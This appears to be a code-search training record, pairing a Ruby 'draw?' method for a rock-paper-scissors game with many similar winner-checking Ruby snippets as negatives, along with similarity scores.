"def build_cookie(key, value)\n case value\n when Hash\n domain = \"; domain=\" + value[:domain] if value[:domain]\n path = \"; path=\" + value[:path] if value[:path]\n # According to RFC 2109, we need dashes here.\n # N.B.: cgi.rb uses spaces...\n expires = \"; expires=\" + value[:expires].clone.gmtime.\n strftime(\"%a, %d-%b-%Y %H:%M:%S GMT\") if value[:expires]\n secure = \"; secure\" if value[:secure]\n httponly = \"; HttpOnly\" if value[:httponly]\n value = value[:value]\n end\n value = [value] unless Array === value\n cookie = Rack::Utils.escape(key) + \"=\" +\n value.map { |v| Rack::Utils.escape(v) }.join(\"&\") +\n \"#{domain}#{path}#{expires}#{secure}#{httponly}\"\n end",
"def format_hash(header, hash)\n # Staring with the \"header\" parameter string, concatenate each of the\n # parameter name/value pairs with a prefix intended to better display the\n # results within the Kinetic Task log.\n hash.inject(header) do |result, (key, value)|\n result << \"\\n #{key}: #{value}\"\n end\n end",
"def header(name)\n rack_header = \"http-#{name}\".upcase!.tr('-', '_')\n\n hdr = @env[rack_header]\n\n # Only return the value if it is not an empty string\n hdr if hdr != ''\n end",
"def generate_url(method, domain, bucket, key, expires_in, headers)\n path = \"/#{bucket}/#{key}\"\n expires = expires_in.nil? ? 0 : Time.now.to_i + expires_in.to_i\n canonical_string = canonical_string(method, path, headers, expires)\n encoded_canonical = encode(canonical_string)\n\n arg_sep = key.index('?') ? '&' : '?'\n return \"/#{bucket}/#{key}\" + arg_sep + \"Signature=#{encoded_canonical}&\" + \n \"Expires=#{expires}&AWSAccessKeyId=#{@aws_access_key_id}\"\n end",
"def putfield(format,key,value)\n format = 'a' if format.nil?\n field = \"#{key} : #{format =~ /^a.*$/ ? hexstring(value) : value}\"\n field = field[0..40] + '...'+ field[-40..-1] if field.size > 80 # centre-truncate long strings\n puts field\nend",
"def put_header(name=nil,value=nil)\n if name.class == String && value.class == String && !block_given?\n @j_del.java_method(:putHeader, [Java::java.lang.String.java_class,Java::java.lang.String.java_class]).call(name,value)\n return self\n end\n raise ArgumentError, \"Invalid arguments when calling put_header(name,value)\"\n end",
"def api_key_header\n {'X-API-KEY' => 'some_api_key'}\n end",
"def uri_escape_key(string)\n if string.nil?\n nil\n else\n CGI.escape(string.encode('UTF-8')).gsub('+', '%20').gsub('%7E', '~').gsub(\"%2F\", \"/\")\n end\n end",
"def normalize_header_name(header)\n header.delete_prefix(\"HTTP_\").split(\"_\").map(&:capitalize).join(\"-\")\n end",
"def construct_header(headers:)\n if v = headers[TRACE_HEADER_PROXY] || headers[TRACE_HEADER]\n TraceHeader.from_header_string header_str: v\n else\n TraceHeader.empty_header\n end\n end",
"def canonicalize_headers(headers)\n tmp = headers.inject({}) {|ret, h| ret[h.first.downcase] = h.last if h.first.match(/^x-tmrk/i) ; ret }\n tmp.reject! {|k,v| k == \"x-tmrk-authorization\" }\n tmp = tmp.sort.map{|e| \"#{e.first}:#{e.last}\" }.join(\"\\n\")\n tmp\n end",
"def header(string, replace=true, http_response_code=nil)\n name, value = string.split(': ', 2)\n headers[name] = value\n end",
"def encode_key(key)\n @uri_parser.escape(key, /[^-_.a-zA-Z0-9]/n) # //n switch means explicit 'ASCII-8BIT' pattern\n end",
"def join_headers\n # join the headers array with crlfs, stick two on the end because\n # that ends the request header\n @request_header.join(CRLF) + (CRLF) * 2\n end",
"def id_to_header(id)\n return '' unless id.is_a?(String)\n # Only send 64bit IDs downstream for now\n id.length == 32 ? id[16..-1] : id\n end",
"def _make_request_str(ar, sep)\n ## Do the Hash version\n ret_str = ''\n if ar.kind_of?(Hash)\n ret_str = ar.map do |k,v|\n \"#{k}=#{v}\"\n end.join sep\n\n elsif ar.kind_of?(Array)\n ret_str = ar.map {|v| '#{v}' }.join sep\n end\n\n return ret_str\n end",
"def canonize_headers(headers)\n validate_header_keys! headers.keys\n\n canonical = {}\n headers.each_pair do |key, value|\n pref = key_name_groups.detect { |ka| ka.include?(key) }\n canonical[pref.first] = [canonize_header_value(value)].flatten\n end\n\n logger.debug \"Canonized headers #{canonical.inspect}\" if logger_debug?\n canonical\n end",
"def format_headers(nfg_method, soap_request)\n {\n 'Host' => host,\n 'Content-Type' => 'application/soap+xml; charset=utf-8',\n 'Content-Length' => soap_request.length.to_s,\n 'SOAPAction' => \"#{url}/#{nfg_method}\".gsub('.asmx','')\n }\n end",
"def translate_header(header, value)\n value\n end",
"def build_headers method:, path:, headers:\n h = {\n AUTHORITY_KEY => [@host, @port.to_s].join(':'),\n METHOD_KEY => method.to_s.upcase,\n PATH_KEY => path,\n SCHEME_KEY => @scheme\n }.merge USER_AGENT\n h.merge! stringify_headers(headers)\n end",
"def str_early_hints(headers); end",
"def []=(k, v) @headers[translate_header_to_sym(k)] = v end",
"def signable_string(method, uri, headers)\n [\n method.to_s.upcase,\n headers.fetch('Content-MD5', ''),\n headers.fetch('Content-Type', ''),\n headers.fetch('Date') { raise IndexError, 'Headers must include Date' },\n canonicalized_headers(headers),\n canonicalized_resource(uri)\n ].join(\"\\n\")\n end",
"def escape_header s\n encode_header(s).gsub(/[:\\n\\\\\\\\]/) { |c| CHARACTER_ESCAPES[c] }\n end",
"def buffer_key(key, opts)\n # covert keys to strings, as sorting a Hash with Symbol keys fails on\n # Ruby 1.8.x.\n opts = opts.inject({}) do |result, (k, v)|\n result[k.to_s] = v\n result\n end\n \"#{key.to_s}:#{opts.sort.flatten.join(':')}\"\n end",
"def add_header key, value\n\t\t\t@headers ||= {}\n\t\t\t@headers[key] = value\n\t\tend"
] |
[
"0.6261589",
"0.6067391",
"0.5937041",
"0.57820547",
"0.5747294",
"0.57390136",
"0.57161534",
"0.5712725",
"0.56487375",
"0.5642438",
"0.56402147",
"0.558702",
"0.5536527",
"0.55331653",
"0.55216986",
"0.5513828",
"0.55009437",
"0.5489248",
"0.5456789",
"0.54553056",
"0.5432658",
"0.54282266",
"0.54244626",
"0.54178464",
"0.5414677",
"0.53877246",
"0.5375883",
"0.5362361",
"0.5358819",
"0.53557605",
"0.53557026",
"0.5334626",
"0.531953",
"0.53194606",
"0.5312559",
"0.5308669",
"0.5295379",
"0.5290674",
"0.5282299",
"0.5253618",
"0.5252137",
"0.52515733",
"0.52388793",
"0.52286994",
"0.52264684",
"0.5226349",
"0.52219397",
"0.5221067",
"0.5212228",
"0.52077633",
"0.51990855",
"0.51990855",
"0.5193874",
"0.51878065",
"0.5184256",
"0.51802653",
"0.51577055",
"0.51570874",
"0.5155504",
"0.5151381",
"0.5151381",
"0.5146232",
"0.5146232",
"0.5140631",
"0.51370853",
"0.51354384",
"0.5120729",
"0.51197755",
"0.511473",
"0.5101611",
"0.50863403",
"0.50766313",
"0.50655425",
"0.5064783",
"0.50570786",
"0.50424206",
"0.50386673",
"0.5012529",
"0.5000489",
"0.49982938",
"0.49782288",
"0.49746946",
"0.49697402",
"0.4960653",
"0.49489585",
"0.49316907",
"0.49075466",
"0.48928252",
"0.48891807",
"0.48876366",
"0.4869467",
"0.48631653",
"0.48601067",
"0.48498827",
"0.48463047",
"0.48415118",
"0.4840231",
"0.48326087",
"0.4826506",
"0.48210368"
] |
0.74180245
|
0
|
check if the current user login in can view the page
|
def check_current_profile
if user_signed_in?
if current_user.profile_type == "Business"
redirect_to root_path , notice:"Not authorised to view this page"
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def check_login\n head :forbidden unless self.current_user\n end",
"def has_privilege?\n if (!logged_in?)\n redirect_to '/login' and return\n elsif (params[:user_id].to_i != current_user.id)\n redirect_to user_stories_path(current_user) and return\n end\n end",
"def check_login\n unless logged_in?\n access_denied\n end\n end",
"def has_privilege?\n if (!logged_in?)\n redirect_to '/login' and return\n elsif (params[:user_id].to_i != current_user.id)\n redirect_to user_events_path(current_user) and return\n end\n end",
"def has_access\n if !current_user\n redirect_to \"/error\"\n return false;\n end\n return true\n end",
"def logged_in?\n !session[:user_id].nil? #&& User.find(session[:user_id]).owns(@current_site)\n end",
"def logged_in?\n !!link_to_account_detail_page\n end",
"def check_if_current_user_page\n redirect_to('/') and return unless (current_user.id == User.from_param(params[:id])) || current_user.is_admin?\n end",
"def user_can_view?(_check_user)\n true # everyone can view these\n end",
"def check_access\n if not user_signed_in?\n redirect_to('/users/sign_in')\n end\n end",
"def access action\n\t\tif current_user\n \treturn true\n else\n \treturn false\n end\n\n\tend",
"def check_user_access\n check_access_and_redirect(@request)\n end",
"def allow_access\n !@current_user.nil?\n end",
"def authorization_check\n # if there isn't a current session, redirect to login\n if session[:current_user] == nil\n redirect \"users/login\"\n else\n return true\n end\n end",
"def login_required\n logged_in? ? true : access_denied\n end",
"def check_user_access\n if !(user_signed_in? && current_user.has_role?(:admin))\n flash[:alert] = \"You are not authorised to access that page\"\n redirect_to root_path\n end\n end",
"def check_logged_in\n unless current_user\n redirect_to '/login'\n end\n end",
"def logged_in?\n\t\tif not current_user.present? then redirect_to \"/unauthorized\" and return false\n\t\tend\n\t\treturn true\n\tend",
"def check_user_logged\n if current_user.type_access == 'User'\n flash[:danger] = 'Voçê não tem permissão para acessar essa pagina!'\n redirect_to root_path\n end\n end",
"def check_is_login_required\n authorized_denied unless logged_in?\n end",
"def logged_in?\n\tsession[:user] and CTRL.authorize(session[:user], session[:session])\nend",
"def is_logged_in\n if !logged_in?\n redirect_unauthorized(:back, \"You must be logged in to perform this action.\")\n end\n end",
"def logged_in?\n redirect_to(root_path, notice: 'Unauthorized access!') unless current_user\n end",
"def authorization_check\n # if there isn't a current session, redirect to login\n if session[:current_user] == nil\n redirect \"/login\"\n else\n return true\n end\n end",
"def check_user_access\n if !(user_signed_in? && current_user.has_role?(:admin))\n flash[:alert] = \"You are not authorised to access that page\"\n redirect_to root_path\n end\n end",
"def is_logged_in\n #since these are also marked as helper methods, they are availalble in not just all ctronollers (cuz they inherit from appc ontroler) but also avialble to views\n\n (session[:user_id] && session[:user_id].present? ) ? true : false\n end",
"def check_authentication\n unless logged_in?\n flash[:warning] = \"You must be logged in to view the requested page.\"\n request.env[\"HTTP_REFERER\"] ? (redirect_to :back) : (redirect_to :action => \"index\", :controller => \"site\")\n return false\n end\n end",
"def require_login\n !!current_user || access_denied\n end",
"def check_authorization \n user = current_user\n unless session[\"permission_\" + action_name + \"_\" + controller_name] && user\n unless logged_in? and user.roles.detect { |role|\n role.permissions.detect { |permission|\n permission.action.to_s.include? action_name and permission.controller == self.class.controller_path\n }\n } \n flash[:warning] = \"You are not authorized to view the requested page.\"\n request.env[\"HTTP_REFERER\"] ? (redirect_to :back) : (redirect_to :action => \"index\", :controller => \"site\")\n\n return false\n end\n session[\"permission_\" + action_name + \"_\" + controller_name] = true\n end\n end",
"def check_access\n if current_user.nil? or !current_user.is_admin?\n flash[:error] = t('no_access')\n redirect_to :root\n return false\n end\n end",
"def can_access?\n allows_current_user_access_to? :access\n end",
"def check_current_user_owns\n head :not_found unless @user == current_user\n end",
"def check_if_logged_in\n # if the current request is coming from a user who is not logged in\n # redirect them to the login page\n # any controller actions that should only be available to\n # logged in users will need to run this method before performing\n unless @current_user.present?\n flash[:error] = 'You must be logged in to perform that action'\n redirect_to login_path\n end # unless\n end",
"def checkUserPageAccess(user, pagePath)\n return false\n end",
"def authorized?\n logged_in?\n end",
"def login_required\n (logged_in? || (controller_name == 'sessions')) ? true : access_denied\n end",
"def user_is_current\n fetch_user\n\n unless current_user?(@user)\n flash[:error] = t(:not_authorized)\n redirect_to root_path\n end\n end",
"def check_authorization!\n #check_current_user!\n #authorized = current_user.present? && valid_organisation_date?\n\n # TODO check due_date\n if !current_user\n flash[:alert] = \"Por favor ingrese.\"\n redirect_to new_session_url(subdomain: 'app') and return\n elsif !current_user.present?# || current_organisation.dued_with_extension? || !authorized_user?\n redir = request.referer.present? ? :back : home_path\n\n if request.xhr?\n render text: '<div class=\"alert alert-warning flash\"><h4 class=\"n\">Usted no tiene los privilegios para ver esta página</h4><div>'\n else\n flash[:alert] = \"Usted ha sido redireccionado por que no tiene suficientes privilegios.\"\n redirect_to redir and return\n end\n end\n end",
"def can_access?(user)\n return true if self.class.standalone_page_available_to_user self, user\n\n user.has_access_to?(:read, :standalone_page, :_all_standalone_pages_)\n end",
"def login_required\n logged_in? ? true : access_denied\n end",
"def restrict_access\n head :unauthorized and return false unless current_user\n end",
"def can?\n current_user\n end",
"def login_required\n logged_in? || access_denied\n end",
"def ensure_user\n current_user? || deny_access('You must be logged in to perform this action.')\n end",
"def authenticated\n\t\tif current_user || current_admin\n\t\t\ttrue\n\t\telse\n\t\t\tflash[:error] = \"You must log in to view that page!\"\n\t\t\tredirect_to root_url\n\t\tend\n\tend",
"def logged_in?\n act = StudyListAction.new(self)\n act.get\n !(act.redirected_to_login?)\n end",
"def logged_in?\n authorized?\n end",
"def accessible_by?(context)\n return false unless context.logged_in?\n\n accessible_by_user?(context.user)\n end",
"def login_required\n username, passwd = get_auth_data\n logged_in? && authorized? ? true : access_denied\n end",
"def check_logged_in?\n if !logged_in?\n redirect_to root_path\n end\n end",
"def personal_page?\n return false unless current_user\n return true if params[:owner_id].to_i == current_user.id\n return true if @user && current_user == @user\n return true if @quest && current_user.owns?(@quest)\n return true if @offer && current_user.owns?(@offer)\n \n false\n end",
"def is_logged_in\n\t\tif self.controller_name == \"music_rating_services\" || self.controller_name == \"registrations\" || self.controller_name == \"sessions\"\n\t\t\treturn\n\t\telsif current_user == nil\n\t\t\tflash[:notice] = \"You must be logged in to access this feature.\"\n\t\t\tredirect_to root_path\n\t\telse\n\t\t\treturn\n\t\tend\n\tend",
"def check_user\n unless @user == current_user\n flash[:alert] = \"You don't have permission to access this page.\"\n redirect_to root_path\n end\n end",
"def authorized?\n logged_in?\n end",
"def authorized?\n logged_in?\n end",
"def logged_in?\n (current_user ? login_access : false).is_a?(User)\n end",
"def check_user\n if (!user_signed_in?)\n redirect_to root_path, notice: 'You must log in to do that'\n end\n # if (!current_user.superadmin_role)\n # redirect_to root_path, notice: 'You do not have permissions to do that'\n # end\n end",
"def authorized?\n logged_in? && current_user.login == \"ej0c\"\n end",
"def authorized?\n current_user.logged_in?\n end",
"def accessible_by?(user)\n return false unless user&.logged_in?\n\n accessible_by_user?(user)\n end",
"def validate_access\n if @user_logged_in != @answer.user\n render status: :forbidden\n end\n end",
"def ck_user\n ctrl = request.path_parameters['controller'].to_sym\n action = request.path_parameters['action'].to_sym\n flash[:warnings] = []\n\n\n # Are we handling an already authenticated system user?\n if session[:sysuser_id]\n @sysuser = Sysuser.find_by_id(session[:sysuser_id])\n return true if @sysuser\n end\n\n # Is the user requesting a public action?\n raise AuthenticationRequired unless is_public_action?(ctrl, action)\n\n # Ok, this is a public area - go ahead\n return true\n end",
"def check_auth\n @slot.user == (current_user ) or raise AccessDenied\n end",
"def logged_in?\n return true if self.current_user\n return false\n end",
"def admin_only_view\n if !current_user.is_a? Admin and current_user.type != \"AdminAssistant\"\n flash[:error] = \"You are not authorized to view this page.\"\n redirect_to :root\n # Explictly tell the caller that this check failed\n return false\n else\n # Explictly tell the caller that this check was successful\n return true\n end\n end",
"def can_access?(user)\n user == self.user\n end",
"def if_logged_in\n view_context.user_signed_in?\n end",
"def restrict_access\t\n\t\tif current_user.owner == false\n\t\t\tredirect_to user_path(current_user), notice: \"You can't view this page, contact your box owner\"\n\t\tend\t\n\tend",
"def authorized?\n logged_in?\n end",
"def authorized?\n logged_in?\n end",
"def logged_in?\n\t\tcurrent_user.present?\n\tend",
"def check_authentication\n redirect_to root_path, notice: \"You don't have access permission for this page!\" unless current_user.has_role?(:admin)\n end",
"def logged_in\n current_user != nil\n end",
"def authorized?\nlogged_in?\nend",
"def check_user_permissions\n if user_signed_in?\n if !current_user.is_admin? && !current_user.is_professor?\n redirect_to courses_path, notice: \"You don't have permission to access that page!\"\n end\n end\n end",
"def is_user_logged_in?\n\tlogged_in = false\n\t if logged_in\n then true\n else\n redirect_to root_path\n end\n end",
"def check_user\n if user_signed_in?\n else\n redirect_to root_path, :alert => \"Unauthorised Access\"\n end\n \n end",
"def check_user\n if user_signed_in?\n else\n redirect_to root_path, :alert => \"Unauthorised Access\"\n end\n \n end",
"def user_logged_in?\n current_user.present?\n end",
"def user_logged_in?\n current_user.present?\n end",
"def logged_in?\n current_user.present? # True neu user login\n end",
"def restricted?\n page.restricted?\n end",
"def check_if_logged_in\n redirect_to(new_user_path) if @current_user.nil?\n end",
"def check_if_logged_in\n redirect_to(new_user_path) if @current_user.nil?\n end",
"def authorized\n if logged_in?\n return View(\"sessions/page_requires_login\"); \n end\n return View(\"Index\")\n end",
"def logged_in?\n current_user != :false \n end",
"def is_logged_in?(user)\n return false if is_logged_out?\n\n unless user_dropdown.present?\n @config.screenshot!(\"is_logged_in_\" + Time.now.to_s)\n #byebug\n raise \"page is not in a dom state able to determine logged in user. Please check your workflow.\"\n end\n\n @profile_page = Pages::Community::Profile.new(@config)\n @profile_page.goto_profile\n\n @profile_page.user_name == user.username\n end",
"def user_is_logged_in()\n user = get_user()\n if user != nil\n true\n else\n false\n end\n end",
"def logged_in?\n\t\t!current_user.nil?\n \tend",
"def check_user\n if (user_signed_in? && !current_user.has_role?(:admin))\n flash[:alert] = \"You are not authorized to access that page\"\n redirect_to root_path\n end\n end",
"def show?\n @current_user.permission('Commodity', :guest)\n end",
"def logged_in?\n \t!current_user.nil?\n \tend",
"def users_only\n unless logged_in?\n redirect_to(:sign_in)\n return false\n end\n\n return true\n end",
"def logged_in?\r\n current_user != :false\r\n end",
"def logged_in?\n !!getCurrentUser\n end",
"def login_required\n authorized? || access_denied\n end",
"def login_required\n authorized? || access_denied\n end",
"def login_required\n authorized? || access_denied\n end",
"def logged_in?\n current_user\n end",
"def logged_in?\n current_user\n end",
"def user_authorize\n if session[:user_id]\n return true\n else\n redirect_to new_session_path\n return false\n end\n end"
] |
[
"0.77468944",
"0.7738537",
"0.76635563",
"0.763968",
"0.7637182",
"0.7599079",
"0.7550959",
"0.75217855",
"0.75211614",
"0.7518717",
"0.74993414",
"0.7491726",
"0.748678",
"0.7467982",
"0.7449765",
"0.7438591",
"0.7426762",
"0.74231154",
"0.7414255",
"0.7412775",
"0.7400169",
"0.73996013",
"0.73859817",
"0.7366794",
"0.7363359",
"0.73571575",
"0.7352249",
"0.73370314",
"0.7330955",
"0.73288804",
"0.7328132",
"0.7327369",
"0.73188263",
"0.7318447",
"0.7280322",
"0.72786826",
"0.72696644",
"0.72685385",
"0.72659594",
"0.72612405",
"0.72573054",
"0.72391933",
"0.72383106",
"0.72360873",
"0.72348243",
"0.72281253",
"0.72256714",
"0.721801",
"0.7214479",
"0.72023654",
"0.7199046",
"0.7190664",
"0.7179807",
"0.71706903",
"0.71706903",
"0.7153518",
"0.7147708",
"0.7144093",
"0.7140999",
"0.7140939",
"0.7140923",
"0.7139767",
"0.71388805",
"0.7137507",
"0.7135271",
"0.7134848",
"0.7118169",
"0.7105961",
"0.7105801",
"0.7105801",
"0.7102482",
"0.7101818",
"0.7099933",
"0.7099044",
"0.70990086",
"0.709859",
"0.70924526",
"0.70924526",
"0.7091221",
"0.7091221",
"0.7088295",
"0.70873487",
"0.70872617",
"0.70872617",
"0.70844233",
"0.7084372",
"0.70808583",
"0.7080218",
"0.7073178",
"0.70717597",
"0.7070618",
"0.7069725",
"0.7065108",
"0.70597935",
"0.7057145",
"0.705005",
"0.705005",
"0.705005",
"0.7048019",
"0.7048019",
"0.7045904"
] |
0.0
|
-1
|
def has_player_1_won?(player_1.weapon_choice,player_2.weapon_choice) RULES[:rock][:paper] end
|
def draw?
player_1.weapon_choice == player_2.weapon_choice
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def if_player_1_wins?\n\t($p1 == \"scissors\" && $p2 == \"paper\") || ($p1 == \"rock\" && $p2 == \"scissors\") || ($p1 == \"paper\" && $p2 == \"rock\") || ($p1 == \"rock\" && $p2 == \"lizard\") || ($p1 == \"spock\" && $p2 == \"scissors\") || ($p1 == \"scissors\" && $p2 == \"lizard\") || ($p1 == \"spock\" && $p2 == \"rock\") || ($p1 == \"lizard\" && $p2 == \"paper\") || ($p1 == \"paper\" && $p2 == \"spock\")|| ($p1 == \"lizard\" && $p2 == \"spock\") \nend",
"def winner?(player1_weapon,player2_weapon)\n if player1_weapon == \"rock\" && player2_weapon == \"scissors\"\n return 1\n elsif player1_weapon == \"paper\" && player2_weapon == \"rock\"\n return 1\n elsif player1_weapon == \"scissors\" && player2_weapon == \"paper\"\n return 1\n elsif player2_weapon == \"rock\" && player1_weapon == \"scissors\"\n return 2\n elsif player2_weapon == \"paper\" && player1_weapon == \"rock\"\n return 2\n elsif player2_weapon == \"scissors\" && player1_weapon == \"paper\"\n return 2\n elsif player1_weapon == player2_weapon\n return nil\n end\nend",
"def one_round\n player1_weapon = get_player_one_weapon\n player2_weapon = get_player_two_weapon\n return winner?(player1_weapon,player2_weapon)\nend",
"def whoWon(p1weapon, p2weapon)\n\n\tif p1weapon === p2weapon\n\t\twinnerResult = \"It's a tie!\"\n\t\tputs(winnerResult)\n\t\tputs \"The score is currently \" + $player1Score.to_s + \" to \" + $player2Score.to_s + \".\"\n\t\tstartGame\n\t\treturn winnerResult\n\tend\t\n\n\tif (p1weapon === \"rock\" && p2weapon === \"scissors\") || (p1weapon === \"scissors\" && p2weapon === \"paper\") || (p1weapon === \"paper\" && p2weapon === \"rock\")\n\t\twinnerResult = \"Player 1 wins!!!\"\n\t\tputs(winnerResult)\n\t\taddScore(winnerResult)\n\t\treturn winnerResult\n\tend\n\n\tif (p2weapon === \"rock\" && p1weapon === \"scissors\") || (p2weapon === \"scissors\" && p1weapon === \"paper\") || (p2weapon === \"paper\" && p1weapon === \"rock\")\n\t\twinnerResult = \"Player 2 wins!!!\"\n\t\tputs(winnerResult)\n\t\taddScore(winnerResult)\n\t\treturn winnerResult\n\tend\nend",
"def whoWon(p1weapon, p2weapon)\n\n\t\tif (p1weapon === p2weapon) && (p1weapon != nil) && (p2weapon != nil)\n\t\t\t@winResult = 0\n\t\t\t#startGame\n\t\t\treturn @winResult\n\t\tend\t\n\n\t\tif (p1weapon === \"rock\" && p2weapon === \"scissors\") || (p1weapon === \"scissors\" && p2weapon === \"paper\") || (p1weapon === \"paper\" && p2weapon === \"rock\")\n\t\t\t@winResult = 1\n\t\t\taddScore\n\t\t\treturn @winResult\n\t\tend\n\n\t\tif (p2weapon === \"rock\" && p1weapon === \"scissors\") || (p2weapon === \"scissors\" && p1weapon === \"paper\") || (p2weapon === \"paper\" && p1weapon === \"rock\")\n\t\t\t@winResult = 2\n\t\t\taddScore\n\t\t\treturn @winResult\n\t\tend\n\tend",
"def is_game_over?; won_by?(:hunter) || won_by?(:prey) end",
"def rps(p1, p2)\n return 'Player 1 won!' if p1 == 'scissors' && p2 == 'paper'\n return 'Player 1 won!' if p1 == 'paper' && p2 == 'rock'\n return 'Player 1 won!' if p1 == 'rock' && p2 == 'scissors'\n return 'Draw!' if p1 == p2\n # Otherwise player 2 wins...\n 'Player 2 won!'\nend",
"def determineWinner(p1_weapon, p2_weapon)\n\ttext = \"\"\n\tif p1_weapon == \"rock\"\n\t\tif p2_weapon == \"paper\" then text = \"P2 wins!\"\n\t\telsif p2_weapon == \"scissors\" then text = \"P1 wins!\"\n\t\telsif p2_weapon == \"rock\" then text = \"Tie!\" \n\t\telse text = \"Player 2 must choose rock, paper, or scissors. Replay round.\" end\n\telsif p1_weapon == \"paper\"\n\t\tif p2_weapon == \"scissors\" then text = \"P2 wins!\"\n\t\telsif p2_weapon == \"rock\" then text = \"P1 wins!\"\n\t\telsif p2_weapon == \"paper\" then text = \"Tie!\"\n\t\telse text = \"Player 2 must choose rock, paper, or scissors. Replay round.\" end\n\telsif p1_weapon == \"scissors\"\n\t\tif p2_weapon == \"rock\" then text = \"P2 wins!\"\n\t\telsif p2_weapon == \"paper\" then text = \"P1 wins!\"\n\t\telsif p2_weapon == \"scissors\" then text = \"Tie!\"\n\t\telse text = \"Player 2 must choose rock, paper, or scissors. Replay round.\" end\n\telse \n\t\ttext = \"P1 must choose Rock, Paper or Scissors.\"\n\t\tunless p2_weapon == \"rock\" || p2_weapon == \"paper\" || p2_weapon == \"scissors\"\n\t\t\ttext = text + \"\\nPlayer 2 must choose rock, paper, or scissors. Replay round.\"\n\t\tend\n\tend\n\treturn text\nend",
"def set_battle()\n if ((@weapon == \"scissors\") && (@other_weapon == \"paper\")) || ((@weapon == \"rock\") && (@other_weapon == \"scissors\")) || ((@weapon == \"paper\") && (@other_weapon == \"rock\"))\n @battle_result = 1\n \n elsif ((@weapon == \"rock\") && (@other_weapon == \"paper\")) || ((@weapon == \"scissors\") && (@other_weapon == \"rock\")) || ((@weapon == \"paper\") && (@other_weapon == \"scissors\"))\n @battle_result = 2 \n\n else\n @weapon == @other_weapon \n @battle_result = 0\n end\n end",
"def determineWinner(p1_weapon, p2_weapon)\n\tif p1_weapon == \"rock\"\n\t\tif p2_weapon == \"paper\"\n\t\t\ttext = \"Player 2 wins this round!\"\n\t\telsif p2_weapon == \"scissors\"\n\t\t\ttext = \"Player 1 wins this round!\"\n\t\telsif p2_weapon == \"rock\"\n\t\t\ttext = \"Tie!\"\n\t\telse\n\t\t\ttext = \"Please enter rock, paper, or scissors!\"\n\t\tend\n\telsif p1_weapon == \"paper\"\n\t\tif p2_weapon == \"scissors\"\n\t\t\ttext = \"Player 2 wins this round!\"\n\t\telsif p2_weapon == \"rock\"\n\t\t\ttext = \"Player 1 wins this round!\"\n\t\telsif p2_weapon == \"paper\"\n\t\t\ttext = \"Tie!\"\n\t\telse\n\t\t\ttext = \"Please enter rock, paper, or scissors!\"\n\t\tend\n\telsif p1_weapon == \"scissors\"\n\t\tif p2_weapon == \"rock\"\n\t\t\ttext = \"Player 2 wins this round!\"\n\t\telsif p2_weapon == \"paper\"\n\t\t\ttext = \"Player 1 wins this round!\"\n\t\telsif p2_weapon == \"scissors\"\n\t\t\ttext = \"Tie!\"\n\t\telse\n\t\t\ttext = \"Please enter rock, paper, or scissors!\"\n\t\tend\n\telse\n\t\ttext = \"Please enter rock, paper, or scissors!\"\n\tend\n\tputs text\n\treturn text\nend",
"def win?(first, second)\n first == 'rock' && second == 'scissor' ||\n first == 'paper' && second == 'rock' ||\n first == 'scissor' && second == 'paper'\nend",
"def win?(user1, user2)\n (user1 == 'rock' && (user2 == 'scissors' || user2 == 'lizard')) ||\n (user1 == 'scissors' && (user2 == 'paper' || user2 == 'lizard')) ||\n (user1 == 'paper' && (user2 == 'rock' || user2 == 'spock')) ||\n (user1 == 'spock' && (user2 == 'rock' || user2 == 'scissors')) ||\n (user1 == 'lizard' && (user2 == 'spock' || user2 == 'paper'))\nend",
"def calculate_winner(player1, player2)\n if (player1 == 'rock' && player2 == 'scissors') ||\n (player1 == 'paper' && player2 == 'rock') ||\n (player1 == 'rock' && player2 == 'lizard') ||\n (player1 == 'spock' && player2 == 'lizard') ||\n (player1 == 'scissors' && player2 == 'paper') ||\n (player1 == 'lizard' && player2 == 'spock') ||\n (player1 == 'scissors' && player2 == 'lizard') ||\n (player1 == 'lizard' && player2 == 'paper') ||\n (player1 == 'paper ' && player2 == 'spock') ||\n (player1 == 'spock' && player2 == 'rock')\n true\n end\nend",
"def win_round?(player_choice, computer_choice)\n WIN_RULES.any? do |choice, player_wins_if|\n choice == player_choice && player_wins_if[:win_conditions].include?(computer_choice)\n end\nend",
"def rps(p1, p2)\n if p1 == \"scissors\" && p2 == \"paper\"\n return \"Player 1 won!\"\n elsif p1 == \"scissors\" && p2 == \"rock\"\n return \"Player 2 won!\"\n elsif p1 == \"scissors\" && p2 == \"scissors\"\n return \"Draw!\"\n end\n\n if p1 == \"paper\" && p2 == \"paper\"\n return \"Draw!\"\n elsif p1 == \"paper\" && p2 == \"rock\"\n return \"Player 1 won!\"\n elsif p1 == \"paper\" && p2 == \"scissors\"\n return \"Player 2 won!\"\n end\n\n if p1 == \"rock\" && p2 == \"paper\"\n return \"Player 2 won!\"\n elsif p1 == \"rock\" && p2 == \"rock\"\n return \"Draw!\"\n elsif p1 == \"rock\" && p2 == \"scissors\"\n return \"Player 1 won!\"\n end\n\nend",
"def win?(first, second)\n (first == 'rock' && (second == 'scissors' || second == 'lizard')) ||\n (first == 'paper' && (second == 'rock' || second == 'spock')) ||\n (first == 'scissors' && (second == 'paper' || second == 'lizard')) ||\n (first == 'spock' && (second == 'scissors' || second == 'rock')) ||\n (first == 'lizard' && (second == 'spock' || second == 'paper'))\nend",
"def player_wins(player1_action, player2_action)\n if ((player1_action == \"R\" and player2_action == \"S\") or\n (player1_action == \"S\" and player2_action == \"P\") or\n (player1_action == \"P\" and player2_action == \"R\"))\n return true\n end\nend",
"def user_won?(answer, ai)\n (answer.downcase == \"rock\" && ai.downcase == 'scissors') ||\n (answer.downcase == \"paper\" && ai.downcase == 'rock') ||\n (answer.downcase == \"scissors\" && ai.downcase == 'paper')\n end",
"def determine_winner_one_game\n if @weapon_p1 == \"r\" && @weapon_p2 == \"s\"\n return 1 \n elsif @weapon_p1 == \"s\" && @weapon_p2 == \"p\"\n return 1 \n elsif @weapon_p1 == \"p\" && @weapon_p2 == \"r\" \n return 1 \n \n elsif @weapon_p1 == \"p\" && @weapon_p2 == \"s\"\n return 2\n elsif @weapon_p1 == \"r\" && @weapon_p2 == \"p\"\n return 2\n elsif @weapon_p1 == \"s\" && @weapon_p2 == \"r\"\n return 2 \n\n else\n return nil\n end \n end",
